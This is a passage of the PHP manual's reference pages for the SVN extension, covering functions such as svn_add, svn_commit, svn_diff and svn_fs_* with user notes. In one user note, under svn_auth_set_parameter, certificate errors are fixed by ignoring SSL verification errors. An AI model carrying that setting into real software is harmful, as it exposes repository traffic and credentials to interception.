SVN_WC_STATUS_EXTERNAL (int)
Unversioned path that is populated using svn:externals
SVN_WC_STATUS_INCOMPLETE (int)
Directory does not contain complete entries list
Node type constants
SVN_NODE_NONE (int)
Absent
SVN_NODE_FILE (int)
File
SVN_NODE_DIR (int)
Directory
SVN_NODE_UNKNOWN (int)
Something Subversion cannot identify

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SVN Functions
SVN


SVN Functions

Table of Contents

  • svn_add — Schedules the addition of an item in a working directory
  • svn_auth_get_parameter — Retrieves authentication parameter
  • svn_auth_set_parameter — Sets an authentication parameter
  • svn_blame — Get the SVN blame for a file
  • svn_cat — Returns the contents of a file in a repository
  • svn_checkout — Checks out a working copy from the repository
  • svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks
  • svn_client_version — Returns the version of the SVN client libraries
  • svn_commit — Sends changes from the local working copy to the repository
  • svn_delete — Delete items from a working copy or repository.
  • svn_diff — Recursively diffs two paths
  • svn_export — Export the contents of a SVN directory
  • svn_fs_abort_txn — Abort a transaction, returns true if everything is okay, false otherwise
  • svn_fs_apply_text — Creates and returns a stream that will be used to replace
  • svn_fs_begin_txn2 — Create a new transaction
  • svn_fs_change_node_prop — Return true if everything is ok, false otherwise
  • svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot
  • svn_fs_contents_changed — Return true if content is different, false otherwise
  • svn_fs_copy — Copies a file or a directory, returns true if all is ok, false otherwise
  • svn_fs_delete — Deletes a file or a directory, return true if all is ok, false otherwise
  • svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type
  • svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs
  • svn_fs_file_length — Returns the length of a file from a given version of the fs
  • svn_fs_is_dir — Return true if the path points to a directory, false otherwise
  • svn_fs_is_file — Return true if the path points to a file, false otherwise
  • svn_fs_make_dir — Creates a new empty directory, returns true if all is ok, false otherwise
  • svn_fs_make_file — Creates a new empty file, returns true if all is ok, false otherwise
  • svn_fs_node_created_rev — Returns the revision in which path under fsroot was created
  • svn_fs_node_prop — Returns the value of a property for a node
  • svn_fs_props_changed — Return true if props are different, false otherwise
  • svn_fs_revision_prop — Fetches the value of a named property
  • svn_fs_revision_root — Get a handle on a specific version of the repository root
  • svn_fs_txn_root — Creates and returns a transaction root
  • svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem
  • svn_import — Imports an unversioned path into a repository
  • svn_log — Returns the commit log messages of a repository URL
  • svn_ls — Returns list of directory contents in repository URL, optionally at revision number
  • svn_mkdir — Creates a directory in a working copy or repository
  • svn_repos_create — Create a new subversion repository at path
  • svn_repos_fs_begin_txn_for_commit — Create a new transaction
  • svn_repos_fs_commit_txn — Commits a transaction and returns the new revision
  • svn_repos_fs — Gets a handle on the filesystem for a repository
  • svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath
  • svn_repos_open — Open a shared lock on a repository.
  • svn_repos_recover — Run recovery procedures on the repository located at path.
  • svn_revert — Revert changes to the working copy
  • svn_status — Returns the status of working copy files and directories
  • svn_update — Update working copy

User Contributed Notes

chris dot lawrence at ljg dot com 30-Mar-2010 02:00
I also submitted this as a bug (since its about missing documentation).

This documentation does not mention the "svn_delete" command, but it was added in version 0.4.  You can check the release notes here:
http://pecl.php.net/package/svn/0.4

Also, you could look at the contents of the current source code (svn-0.5.1/svn.c).

But what you really need to know is that the svn_delete command works correctly with this prototype:
svn_delete(string path [, bool force = true])

It returns true on success and false on failure.
Pieter van Ginkel 21-Mar-2008 12:23
The Subversion functions work quite well for me, after some searching. I needed some time though to find out how they all worked together, but this is a basic example of svn_fs_is_file:

<?php

# Get a handle to the on-disk repository. Note that this
# is NOT a checked out project, but the actual svn repository!

$repos_handle = svn_repos_open('/var/lib/svn');
$fs_handle = svn_repos_fs($repos_handle);

# Now we need to open a revision because that's what the
# svn_fs_* methods need. You'll probably want the latest
# revision and we have a helper method for that.

$youngest_rev = svn_fs_youngest_rev($fs_handle);
$fs_rev_handle = svn_fs_revision_root($fs_handle, $youngest_rev);

# Now we can actually start doing stuff, for example the
# svn_fs_is_file call:

print_r(svn_fs_is_file($fs_rev_handle, '/a-file.txt'));

?>

There is one important thing to note about this all. You cannot let the handles expire while doing any calls to svn_fs_*. When implementing a helper class, I cached the first and third handle, but not the second one. PHP crashes hard when you do this. Keep references to all handles you get while you're calling the svn_fs_* methods.
tbrendstrup 19-Mar-2008 01:49
"[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]"

The subversion developers have a policy not to change stuff like this without changing the major version number, so these should be valid at least until subversion 2.0.0 is released. (more values might be added, but the existing ones won't change).
pierre dot beaumadier at rhapso dot fr 03-Oct-2007 06:59
[Editorial note: These constants are defined by the Subversion library itself and may change without notice (although things tend to be quite stable).]

For information, here are the numeric values I got for the constants :

Working copy status constants :
    * svn_wc_status_none => 1
    * svn_wc_status_unversioned => 2
    * svn_wc_status_normal => 3
    * svn_wc_status_added => 4
    * svn_wc_status_missing => 5
    * svn_wc_status_deleted => 6
    * svn_wc_status_replaced => 7
    * svn_wc_status_modified => 8
    * svn_wc_status_merged => 9
    * svn_wc_status_conflicted => 10
    * svn_wc_status_ignored => 11
    * svn_wc_status_obstructed => 12
    * svn_wc_status_external => 13
    * svn_wc_status_incomplete => 14

Node type constants :
    * svn_node_none => 0
    * svn_node_file => 1
    * svn_node_dir => 2
    * svn_node_unknown => 3
Predefined Constants
svn_add
SVN


Schedules the addition of an item in a working directory

SVN Functions
svn_auth_get_parameter
SVN Functions
PHP Manual

svn_add

(PECL svn >= 0.1.0)

svn_add — Schedules the addition of an item in a working directory

Description

bool svn_add ( string $path [, bool $recursive = true [, bool $force = false ]] )

Adds the file, directory or symbolic link at path to the working directory. The item will be added to the repository the next time you call svn_commit() on the working copy.

Parameters

path

Path of item to add.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

recursive

If item is directory, whether or not to recursively add all of its contents. Default is TRUE

force

If true, Subversion will recurse into already versioned directories in order to add unversioned files that may be hiding in those directories. Default is FALSE

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 svn_add() example

In a working directory where svn status returns:

$ svn status
?      foobar.txt

...this code:

<?php
svn_add('foobar.txt');
?>

...will schedule foobar.txt for addition into the repository.

See Also

  • » SVN documentation on svn add

User Contributed Notes

There are no user contributed notes for this page.
SVN Functions
svn_auth_get_parameter
SVN Functions


Retrieves authentication parameter

svn_add
svn_auth_set_parameter
SVN Functions
PHP Manual

svn_auth_get_parameter

(PECL svn >= 0.1.0)

svn_auth_get_parameter — Retrieves authentication parameter

Description

string svn_auth_get_parameter ( string $key )

Retrieves authentication parameter at key. For a list of valid keys and their meanings, consult the authentication constants list.

Parameters

key

String key name. Use the authentication constants defined by this extension to specify a key.

Return Values

Returns the string value of the parameter at key; returns NULL if parameter does not exist.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • svn_auth_set_parameter() - Sets an authentication parameter
  • Authentication constants

User Contributed Notes

There are no user contributed notes for this page.
svn_add
svn_auth_set_parameter
SVN Functions


Sets an authentication parameter

svn_auth_get_parameter
svn_blame
SVN Functions
PHP Manual

svn_auth_set_parameter

(PECL svn >= 0.1.0)

svn_auth_set_parameter — Sets an authentication parameter

Description

void svn_auth_set_parameter ( string $key , string $value )

Sets authentication parameter at key to value. For a list of valid keys and their meanings, consult the authentication constants list.

Parameters

key

String key name. Use the authentication constants defined by this extension to specify a key.

value

String value to set to parameter at key. Format of value varies with the parameter.

Return Values

No value is returned.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Default authentication example

This example configures SVN so that the default username to use is 'Bob' and the default password is 'abc123':

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
?>

See Also

  • svn_auth_get_parameter() - Retrieves authentication parameter
  • Authentication constants

User Contributed Notes

powtac at gmx dot de 07-Jun-2011 07:38
If you having trouble with certificate verification like this:

PHP Warning:  svn_log(): svn error(s) occured 175002 (RA  layer request failed) OPTIONS of 'https://example.com/your/repos/path': Server certificate verification failed: issuer is not trusted

Try this two steps:

1. Run

"svn log https://example.com/your/repos/path"

on the commandline and permanent accept the certificate by typing "p" when asked.

2. Use the following settings for svn_auth_set_parameter() before calling other svn functions:

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME,             'your svn user');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD,             'your svn users password');
svn_auth_set_parameter(PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS, true); // <--- Important for certificate issues!
svn_auth_set_parameter(SVN_AUTH_PARAM_NON_INTERACTIVE,              true);
svn_auth_set_parameter(SVN_AUTH_PARAM_NO_AUTH_CACHE,                true);

var_dump(svn_log('https://example.com/your/repos/path'));
?>

This will work for SVN client libraries below 1.6!
svn_auth_get_parameter
svn_blame
SVN Functions


Get the SVN blame for a file

svn_auth_set_parameter
svn_cat
SVN Functions
PHP Manual

svn_blame

(PECL svn >= 0.3.0)

svn_blame — Get the SVN blame for a file

Description

array svn_blame ( string $repository_url [, int $revision_no = SVN_REVISION_HEAD ] )

Get the SVN blame of a file from a repository URL.

Parameters

repository_url

The repository URL.

revision_no

The revision number.

Return Values

An array of SVN blame information separated by line which includes the revision number, line number, line of code, author, and date.

Examples

Example #1 svn_blame() example

<?php
$svnurl = 'http://svn.example.org/svnroot/foo/trunk/index.php';

print_r( svn_blame($svnurl) );

?>

The above example will output something similar to:

Array
(
    [0] = Array
          (
           [rev] = 1
           [line_no] = 1
           [line] = Hello World
           [author] = joesmith
           [date] = 2007-07-02T05:51:26.628396Z
          )
    [1] = Array
          ...

See Also

  • svn_diff() - Recursively diffs two paths
  • svn_logs()
  • svn_status() - Returns the status of working copy files and directories

User Contributed Notes

There are no user contributed notes for this page.
svn_auth_set_parameter
svn_cat
SVN Functions


Returns the contents of a file in a repository

svn_blame
svn_checkout
SVN Functions
PHP Manual

svn_cat

(PECL svn >= 0.1.0)

svn_cat — Returns the contents of a file in a repository

Description

string svn_cat ( string $repos_url [, int $revision_no ] )

Returns the contents of the URL repos_url to a file in the repository, optionally at revision number revision_no.

Parameters

repos_url

String URL path to item in a repository.

revision_no

Integer revision number of item to retrieve, default is the HEAD revision.

Return Values

Returns the string contents of the item from the repository on success, and FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example retrieves the contents of a file at revision 28:

<?php
$contents = svn_cat('http://www.example.com/svnroot/calc/gui.c', 28)
?>

See Also

  • svn_list()
  • » SVN documentation on svn cat

User Contributed Notes

There are no user contributed notes for this page.
svn_blame
svn_checkout
SVN Functions


Checks out a working copy from the repository

svn_cat
svn_cleanup
SVN Functions
PHP Manual

svn_checkout

(PECL svn >= 0.1.0)

svn_checkout — Checks out a working copy from the repository

Description

bool svn_checkout ( string $repos , string $targetpath [, int $revision [, int $flags = 0 ]] )

Checks out a working copy from the repository at repos to targetpath at revision revision.

Parameters

repos

String URL path to directory in repository to check out.

targetpath

String local path to directory to check out in to

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

revision

Integer revision number of repository to check out. Default is HEAD, the most recent revision.

flags

Any combination of SVN_NON_RECURSIVE and SVN_IGNORE_EXTERNALS.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates how to check out a directory from a repository to a directory named calc:

<?php
svn_checkout('http://www.example.com/svnroot/calc/trunk', dirname(__FILE__) . '/calc');
?>

The dirname(__FILE__) call is necessary in order to convert the calc relative path into an absolute one. If calc exists, you can also use realpath() to retrieve an absolute path.

See Also

  • svn_add() - Schedules the addition of an item in a working directory
  • svn_commit() - Sends changes from the local working copy to the repository
  • svn_status() - Returns the status of working copy files and directories
  • svn_update() - Update working copy
  • » SVN documentation on svn checkout

User Contributed Notes

Anonymous 14-Apr-2008 01:08
The current version of svn does not seem to indicate an error properly when passed an invalid string, so it's important to check your paths and to clean them before calling svn or it will just not work.

Under Windows getting the format correctly is a bit tricky, so here's the format it wants:

file:///c:/path/to/repos

Note the following:
1) The extra slash after the protocol designates 'root' under Unix (file:///path/to/repos points to /path/to/repos in Unix), but it seems to have no real meaning in the string on Windows (?).

2) Paths are usually reported with backslashes, so you'll need to replace those with slashes manually before handing them off to Subversion.
svn_cat
svn_cleanup
SVN Functions


Recursively cleanup a working copy directory, finishing incomplete operations and removing locks

svn_checkout
svn_client_version
SVN Functions
PHP Manual

svn_cleanup

(PECL svn >= 0.1.0)

svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks

Description

bool svn_cleanup ( string $workingdir )

Recursively cleanup working copy directory workingdir, finishing any incomplete operations and removing working copy locks. Use when a working copy is in limbo and needs to be usable again.

Parameters

workingdir

String path to local working directory to cleanup

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates clean up of a working copy in a directory named help-me:

<?php
svn_cleanup(realpath('help-me'));
?>

The realpath() call is necessary due to SVN's quirky handling of relative paths.

See Also

  • update()
  • » SVN documentation on svn cleanup

User Contributed Notes

There are no user contributed notes for this page.
svn_checkout
svn_client_version
SVN Functions


Returns the version of the SVN client libraries

svn_cleanup
svn_commit
SVN Functions
PHP Manual

svn_client_version

(PECL svn >= 0.1.0)

svn_client_version — Returns the version of the SVN client libraries

Description

string svn_client_version ( void )

Returns the version of the SVN client libraries

Return Values

String version number, usually in form of x.y.z.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

<?php
echo svn_client_version();
?>

The above example will output something similar to:

1.3.1

User Contributed Notes

There are no user contributed notes for this page.
svn_cleanup
svn_commit
SVN Functions


Sends changes from the local working copy to the repository

svn_client_version
svn_delete
SVN Functions
PHP Manual

svn_commit

(PECL svn >= 0.1.0)

svn_commit — Sends changes from the local working copy to the repository

Description

array svn_commit ( string $log , array $targets [, bool $dontrecurse = false ] )

Commits changes made in the local working copy files enumerated in the targets array to the repository, with the log message log. Directories in the targets array will be recursively committed unless dontrecurse is set to true.

Note: This function does not have any parameters for specifying authentication, so a username and password must be set using svn_auth_set_parameter()

Parameters

log

String log text to commit

targets

Array of local paths of files to be committed

Warning

This parameter must be an array, a string for a single target is not acceptable.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

dontrecurse

Boolean flag to disable recursive committing of directories in the targets array. Default is FALSE.

Return Values

Returns array in form of:

array(
    0 => integer revision number of commit
    1 => string ISO 8601 date and time of commit
    2 => name of committer
)

Returns FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example commits the calculator directory to a repository, using the username Bob and the password abc123 (hopefully, his password is stronger):

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
var_dump(svn_commit('Log message of Bob\'s commit', array(realpath('calculator'))));
?>

The above example will output:

array(
  0 => 1415,
  1 => '2007-05-26T01:44:28.453125Z',
  2 => 'Bob'
)

See Also

  • svn_auth_set_parameter() - Sets an authentication parameter
  • » SVN documentation on svn commit

User Contributed Notes

There are no user contributed notes for this page.
svn_client_version
svn_delete
SVN Functions


Delete items from a working copy or repository.

svn_commit
svn_diff
SVN Functions
PHP Manual

svn_delete

(PECL svn >= 0.4.0)

svn_delete — Delete items from a working copy or repository.

Description

bool svn_delete ( string $path [, bool $force = false ] )

Deletes the file, directory or symbolic link at path from the working directory. The item will be deleted from the repository the next time you call svn_commit() on the working copy.

Parameters

path

Path of item to delete.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

force

If TRUE, the file will be deleted even if it has local modifications. Otherwise, local modifications will result in a failure. Default is FALSE

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • » SVN documentation on svn delete

User Contributed Notes

There are no user contributed notes for this page.
svn_commit
svn_diff
SVN Functions


Recursively diffs two paths

svn_delete
svn_export
SVN Functions
PHP Manual

svn_diff

(PECL svn >= 0.1.0)

svn_diff — Recursively diffs two paths

Description

array svn_diff ( string $path1 , int $rev1 , string $path2 , int $rev2 )

Recursively diffs two paths, path1 and path2.

Note:

This is not a general-purpose diff utility. Only local files that are versioned may be diffed: other files will fail.

Parameters

path1

First path to diff. This can be a URL to a file/directory in an SVN repository or a local file/directory path.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

Warning

If a local file path has only backslashes and no forward slashes, this extension will fail to find the path. Always replace all backslashes with forward slashes when using this function.

rev1

First path's revision number. Use SVN_REVISION_HEAD to specify the most recent revision.

path2

Second path to diff. See path1 for description.

rev2

Second path's revision number. See rev1 for description.

Return Values

Returns an array-list consisting of two streams: the first is the diff output and the second contains error stream output. The streams can be read using fread(). Returns FALSE or NULL on error.

The diff output will, by default, be in the form of Subversion's custom unified diff format, but an » external diff engine may be used depending on Subversion's configuration.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates the basic usage of this function, and the retrieval of contents from the stream:

<?php
list($diff, $errors) = svn_diff(
    'http://www.example.com/svnroot/trunk/foo', SVN_REVISION_HEAD,
    'http://www.example.com/svnroot/branches/dev/foo', SVN_REVISION_HEAD
);
if (!$diff) exit;
$contents = '';
while (!feof($diff)) {
  $contents .= fread($diff, 8192);
}
fclose($diff);
fclose($errors);
var_dump($contents);
?>

The above example will output:

Index: http://www.example.com/svnroot/trunk/foo
===================================================================
--- http://www.example.com/svnroot/trunk/foo        (.../foo) (revision 23)
+++ http://www.example.com/svnroot/branches/dev/foo (.../foo) (revision 27)
 // further diff output

Example #2 Diffing two revisions of a repository path

This example implements a wrapper function that allows a user to easily diff two revisions of the same item using an external repository path (the default syntax is somewhat verbose):

<?php
function svn_diff_same_item($path, $rev1, $rev2) {
    return svn_diff($path, $rev1, $path, $rev2);
}
?>

Example #3 Portably diffing two local files

This example implements a wrapper function that portably diffs two local files, compensating for the realpath() fix and the backslashes bug:

<?php
function svn_diff_local($path1, $rev1, $path2, $rev2) {
    $path1 = str_replace('\\', '/', realpath($path1));
    $path2 = str_replace('\\', '/', realpath($path2));
    return svn_diff($path1, $rev1, $path2, $rev2);
}
?>

See Also

  • » SVN documentation on svn diff

User Contributed Notes

There are no user contributed notes for this page.
svn_delete
svn_export
SVN Functions


Export the contents of a SVN directory

svn_diff
svn_fs_abort_txn
SVN Functions
PHP Manual

svn_export

(PECL svn >= 0.3.0)

svn_export — Export the contents of a SVN directory

Description

bool svn_export ( string $frompath , string $topath [, bool $working_copy = true [, int $revision_no = -1 ]] )

Export the contents of either a working copy or repository into a 'clean' directory.

Parameters

frompath

The path to the current repository.

topath

The path to the new repository.

working_copy

If TRUE, it will export uncommitted files from the working copy.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 svn_export() example

<?php
$working_dir     = '../';
$new_working_dir = '/home/user/devel/foo/trunk';

svn_export($working_dir, $new_working_dir);
?>

See Also

  • svn_import() - Imports an unversioned path into a repository

User Contributed Notes

cleung at draper dot com 31-May-2011 08:15
This functionality is very different from the actual command line svn export url [-rRevision]

If you are thinking about checkout out a single file at a particular version, keep looking because this export can not perform that functionality.
svn_diff
svn_fs_abort_txn
SVN Functions


Abort a transaction, returns true if everything is okay, false otherwise

svn_export
svn_fs_apply_text
SVN Functions
PHP Manual

svn_fs_abort_txn

(PECL svn >= 0.2.0)

svn_fs_abort_txn — Abort a transaction, returns true if everything is okay, false otherwise

Description

bool svn_fs_abort_txn ( resource $txn )
Warning

This function is currently not documented; only its argument list is available.

Abort a transaction, returns true if everything is okay, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_export
svn_fs_apply_text
SVN Functions


Creates and returns a stream that will be used to replace

svn_fs_abort_txn
svn_fs_begin_txn2
SVN Functions
PHP Manual

svn_fs_apply_text

(PECL svn >= 0.2.0)

svn_fs_apply_text — Creates and returns a stream that will be used to replace

Description

resource svn_fs_apply_text ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Creates and returns a stream that will be used to replace

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_abort_txn
svn_fs_begin_txn2
SVN Functions


Create a new transaction

svn_fs_apply_text
svn_fs_change_node_prop
SVN Functions
PHP Manual

svn_fs_begin_txn2

(PECL svn >= 0.2.0)

svn_fs_begin_txn2 — Create a new transaction

Description

resource svn_fs_begin_txn2 ( resource $repos , int $rev )
Warning

This function is currently not documented; only its argument list is available.

Create a new transaction

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_apply_text
svn_fs_change_node_prop
SVN Functions


Return true if everything is ok, false otherwise

svn_fs_begin_txn2
svn_fs_check_path
SVN Functions
PHP Manual

svn_fs_change_node_prop

(PECL svn >= 0.2.0)

svn_fs_change_node_prop — Return true if everything is ok, false otherwise

Description

bool svn_fs_change_node_prop ( resource $root , string $path , string $name , string $value )
Warning

This function is currently not documented; only its argument list is available.

Return true if everything is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_begin_txn2
svn_fs_check_path
SVN Functions


Determines what kind of item lives at path in a given repository fsroot

svn_fs_change_node_prop
svn_fs_contents_changed
SVN Functions
PHP Manual

svn_fs_check_path

(PECL svn >= 0.1.0)

svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot

Description

int svn_fs_check_path ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Determines what kind of item lives at path in a given repository fsroot

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_change_node_prop
svn_fs_contents_changed
SVN Functions


Return true if content is different, false otherwise

svn_fs_check_path
svn_fs_copy
SVN Functions
PHP Manual

svn_fs_contents_changed

(PECL svn >= 0.2.0)

svn_fs_contents_changed — Return true if content is different, false otherwise

Description

bool svn_fs_contents_changed ( resource $root1 , string $path1 , resource $root2 , string $path2 )
Warning

This function is currently not documented; only its argument list is available.

Return true if content is different, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_check_path
svn_fs_copy
SVN Functions


Copies a file or a directory, returns true if all is ok, false otherwise

svn_fs_contents_changed
svn_fs_delete
SVN Functions
PHP Manual

svn_fs_copy

(PECL svn >= 0.2.0)

svn_fs_copy — Copies a file or a directory, returns true if all is ok, false otherwise

Description

bool svn_fs_copy ( resource $from_root , string $from_path , resource $to_root , string $to_path )
Warning

This function is currently not documented; only its argument list is available.

Copies a file or a directory, returns true if all is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_contents_changed
svn_fs_delete
SVN Functions


Deletes a file or a directory, return true if all is ok, false otherwise

svn_fs_copy
svn_fs_dir_entries
SVN Functions
PHP Manual

svn_fs_delete

(PECL svn >= 0.2.0)

svn_fs_delete — Deletes a file or a directory, return true if all is ok, false otherwise

Description

bool svn_fs_delete ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Deletes a file or a directory, return true if all is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_copy
svn_fs_dir_entries
SVN Functions


Enumerates the directory entries under path; returns a hash of dir names to file type

svn_fs_delete
svn_fs_file_contents
SVN Functions
PHP Manual

svn_fs_dir_entries

(PECL svn >= 0.1.0)

svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type

Description

array svn_fs_dir_entries ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Enumerates the directory entries under path; returns a hash of dir names to file type

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

qwazix at outofbounds dot gr 08-Feb-2011 07:05
Here is a function that returns an array with the directories in the root of the HEAD revision of a repository, using only the path of the repository.
<?php
    function get_repo_dirs($path){
        if (file_exists($path.'/format'))
        if ($repo = svn_repos_open($path))
        if ($repo_fs = svn_repos_fs($repo))
        if ($head = svn_fs_youngest_rev($repo_fs))
        if ($repo_fs_root = svn_fs_revision_root($repo_fs,$head))
        return array_keys(svn_fs_dir_entries($repo_fs_root,'.'));
        else return false;
    }
?>

example usage

<?php
    var_dump (get_repo_dirs('/home/user/svnrepos/example_project'));
?>
svn_fs_delete
svn_fs_file_contents
SVN Functions


Returns a stream to access the contents of a file from a given version of the fs

svn_fs_dir_entries
svn_fs_file_length
SVN Functions
PHP Manual

svn_fs_file_contents

(PECL svn >= 0.1.0)

svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs

Description

resource svn_fs_file_contents ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Returns a stream to access the contents of a file from a given version of the fs

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_dir_entries
svn_fs_file_length
SVN Functions


Returns the length of a file from a given version of the fs

svn_fs_file_contents
svn_fs_is_dir
SVN Functions
PHP Manual

svn_fs_file_length

(PECL svn >= 0.1.0)

svn_fs_file_length — Returns the length of a file from a given version of the fs

Description

int svn_fs_file_length ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Returns the length of a file from a given version of the fs

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_file_contents
svn_fs_is_dir
SVN Functions


Return true if the path points to a directory, false otherwise

svn_fs_file_length
svn_fs_is_file
SVN Functions
PHP Manual

svn_fs_is_dir

(PECL svn >= 0.2.0)

svn_fs_is_dir — Return true if the path points to a directory, false otherwise

Description

bool svn_fs_is_dir ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Return true if the path points to a directory, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_file_length
svn_fs_is_file
SVN Functions


Return true if the path points to a file, false otherwise

svn_fs_is_dir
svn_fs_make_dir
SVN Functions
PHP Manual

svn_fs_is_file

(PECL svn >= 0.2.0)

svn_fs_is_file — Return true if the path points to a file, false otherwise

Description

bool svn_fs_is_file ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Return true if the path points to a file, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

ytcheng at qq dot com 18-Dec-2010 08:16
<?php
    $repos = svn_repos_open($this->sourceRoot);
    $fs = svn_repos_fs($repos);
    $head = svn_fs_youngest_rev($fs);
    $fsroot = svn_fs_revision_root($fs,$head);
    echo svn_fs_is_file($fsroot,$path);
?>
svn_fs_is_dir
svn_fs_make_dir
SVN Functions


Creates a new empty directory, returns true if all is ok, false otherwise

svn_fs_is_file
svn_fs_make_file
SVN Functions
PHP Manual

svn_fs_make_dir

(PECL svn >= 0.2.0)

svn_fs_make_dir — Creates a new empty directory, returns true if all is ok, false otherwise

Description

